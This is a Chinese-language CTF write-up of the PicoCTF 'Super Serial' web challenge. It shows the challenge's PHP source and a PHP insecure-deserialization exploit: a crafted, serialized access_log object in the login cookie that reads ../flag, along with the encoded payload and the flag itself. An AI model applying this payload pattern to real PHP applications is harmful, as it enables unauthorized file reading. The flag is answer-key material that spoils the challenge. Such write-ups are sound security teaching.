PicoCTF - Super Serial
tags: PicoCTF
CTF
Web
Background
Hint
- The flag is at ../flag
Recon
這一題設了太多套路了,但從題目的Title可以猜到應該要用不安全的反序列化
-
robot.txt 一開始會從這邊開始著手就是因為假的source code啥都沒有,本來也以為是
sqli
,但也沒收穫,看了WP才知道要從這邊開始,可以看到以下訊息,但副檔名居然不是一般的php而是phps(而且/admin.phps
沒有任何東西),可見php是個幌子,則前面的source code就要重新分析 - index.phps
用index.phps查看source code發現有一些其他怪東西,包括
authentication.phps
和cookie.php
:::spoiler Real Source Code<?php require_once("cookie.php"); if(isset($_POST["user"]) && isset($_POST["pass"])){ $con = new SQLite3("../users.db"); $username = $_POST["user"]; $password = $_POST["pass"]; $perm_res = new permissions($username, $password); if ($perm_res->is_guest() || $perm_res->is_admin()) { setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/"); header("Location: authentication.php"); die(); } else { $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>'; } } ?> <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center">Sign In</h5> <?php if (isset($msg)) echo $msg; ?> <form class="form-signin" action="index.php" method="post"> <div class="form-label-group"> <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus> <label for="user">Username</label> </div> <div class="form-label-group"> <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required> <label for="pass">Password</label> </div> <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button> </form> </div> </div> </div> </div> </div> </body> </html>
:::
- authentication.phps
:::spoiler Real Source Code
<?php class access_log { public $log_file; function __construct($lf) { $this->log_file = $lf; } function __toString() { return $this->read_log(); } function append_to_log($data) { file_put_contents($this->log_file, $data, FILE_APPEND); } function read_log() { return file_get_contents($this->log_file); } } require_once("cookie.php"); if(isset($perm) && $perm->is_admin()){ $msg = "Welcome admin"; $log = new access_log("access.log"); $log->append_to_log("Logged in at ".date("Y-m-d")."\n"); } else { $msg = "Welcome guest"; } ?> <!DOCTYPE html> <html> <head> <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link href="style.css" rel="stylesheet"> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> </head> <body> <div class="container"> <div class="row"> <div class="col-sm-9 col-md-7 col-lg-5 mx-auto"> <div class="card card-signin my-5"> <div class="card-body"> <h5 class="card-title text-center"><?php echo $msg; ?></h5> <form action="index.php" method="get"> <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit" onclick="document.cookie='user_info=; expires=Thu, 01 Jan 1970 00:00:18 GMT; domain=; path=/;'">Go back to login</button> </form> </div> </div> </div> </div> </div> </body> </html>
:::
- cookie.phps
:::spoiler Real Source Code
<?php session_start(); class permissions { public $username; public $password; function __construct($u, $p) { $this->username = $u; $this->password = $p; } function __toString() { return $u.$p; } function is_guest() { $guest = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] != 1) { $guest = true; } } return $guest; } function is_admin() { $admin = false; $con = new SQLite3("../users.db"); $username = $this->username; $password = $this->password; $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?"); $stm->bindValue(1, $username, SQLITE3_TEXT); $stm->bindValue(2, $password, SQLITE3_TEXT); $res = $stm->execute(); $rest = $res->fetchArray(); if($rest["username"]) { if ($rest["admin"] == 1) { $admin = true; } } return $admin; } } if(isset($_COOKIE["login"])){ try{ $perm = unserialize(base64_decode(urldecode($_COOKIE["login"]))); $g = $perm->is_guest(); $a = $perm->is_admin(); } catch(Error $e){ die("Deserialization error. ".$perm); } } ?>
::: 這一題的直覺是用不安全的反序列化達到LFI或是RCE,問題是要利用哪一個class,可以看到這幾個file中只有
authentication.phps
中的access_log
和cookie.phps
中的permission
,而考慮到hint提到flag的相對位置,代表應該可以確定是LFI的思路,則我們可以找有讀取file的class也就是access_log
,另外authentication.phps
也能單獨access,剩下的事情就簡單了,就construct一個exploit payload然後按照decode的順序反著做一次就可以了
Note: 我再講詳細一點好了,不管是index.phps
或是authentication.phps
都會在一開始require cookie.php
,代表他會執行以下這段程式,並且進行反序列化,而會用到LFI的class method是在authentication.phps
中,所以我們要訪問的網頁應該是這個,然後要創建login cookie是因為cookie.phps
需要這個東西才會進入判斷式
1 |
|
Exploit - Unserialization
- php -a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25$ php -a Interactive mode enabled php > class access_log php > { php { public $log_file; php { php { function __construct($lf) { php { $this->log_file = $lf; php { } php { php { function __toString() { php { return $this->read_log(); php { } php { php { function append_to_log($data) { php { file_put_contents($this->log_file, $data, FILE_APPEND); php { } php { php { function read_log() { php { return file_get_contents($this->log_file); php { } php { } php > echo urlencode(base64_encode(serialize(new access_log("../flag")))); TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
- 建一個cookie然後access authentication.phps
Flag: picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}